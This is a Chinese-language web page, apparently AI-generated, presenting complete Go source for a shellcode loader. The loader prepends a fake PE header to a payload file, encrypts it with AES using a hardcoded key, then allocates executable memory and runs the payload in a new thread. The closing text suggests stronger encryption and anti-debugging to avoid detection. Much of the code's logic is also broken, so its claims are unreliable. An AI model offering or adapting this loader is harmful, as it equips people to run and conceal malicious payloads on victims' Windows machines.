为了伪造 PE 头文件,需要在 payload 文件前添加一个合法的 PE 文件头。下面是完整代码:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"io/ioutil"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var AesKey = []byte{
	0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
	0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
	0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}

type CipherFunc func(key []byte, src []byte) []byte

func AesCipher(key []byte, src []byte) []byte {
	block, _ := aes.NewCipher(key)
	iv := make([]byte, aes.BlockSize)
	stream := cipher.NewCTR(block, iv)
	dst := make([]byte, len(src))
	stream.XORKeyStream(dst, src)
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(AesCipher, AesKey, payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(AesCipher, AesKey, decodedBytes)
	return payloadBytes
}

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
	CreateThread  = kernel32.NewProc("CreateThread")
)

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5)
	handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	time.Sleep(5)
	syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}

func readFile(filename string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return data
}

func main() {
	payload := readFile("./payload.bin")
	// 伪造 PE 头文件
	dosHeader := []byte{
		0x4D, 0x5A, // DOS signature
		0x90, 0x00, 0x03, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x8B, 0x00, 0x00, 0x00, // DOS header
	}
	ntHeader := []byte{
		0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x02, 0x00, // NT header
	}
	sectionHeader := []byte{
		0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // section header
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	}
	peHeader := append(dosHeader, ntHeader...)
	peHeader = append(peHeader, sectionHeader...)
	payload = append(peHeader, payload...)
	encodedPayload := Encode(string(payload))
	shellCodeHex := Decode(encodedPayload)
	exec(shellCodeHex)
}

该代码首先读取一个名为 payload.bin 的文件,然后使用 Encode 函数对其进行加密,并使用 Decode 函数进行解密,最后使用 exec 函数执行解密后的 shellcode。

在执行 shellcode 之前,该代码会伪造一个 PE 头文件,该头文件包含 DOS 头、NT 头和节头。伪造的 PE 头文件会被附加到 shellcode 的开头,从而使 shellcode 可以被加载并执行。

需要注意的是,该代码只是演示了如何使用伪造 PE 头文件来执行 shellcode。实际应用中,还需要根据具体情况进行调整。例如,可以使用更复杂的加密算法对 shellcode 进行加密,并使用更强大的反调试技术来防止代码被调试。

此外,使用伪造 PE 头文件执行 shellcode 的方法可能会被反病毒软件检测到。建议在使用该方法之前,了解相关安全风险,并采取相应的措施来降低风险。

Go 语言使用伪造 PE 头文件技术执行 shellcode

原文地址: https://www.cveoy.top/t/topic/lKMp 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录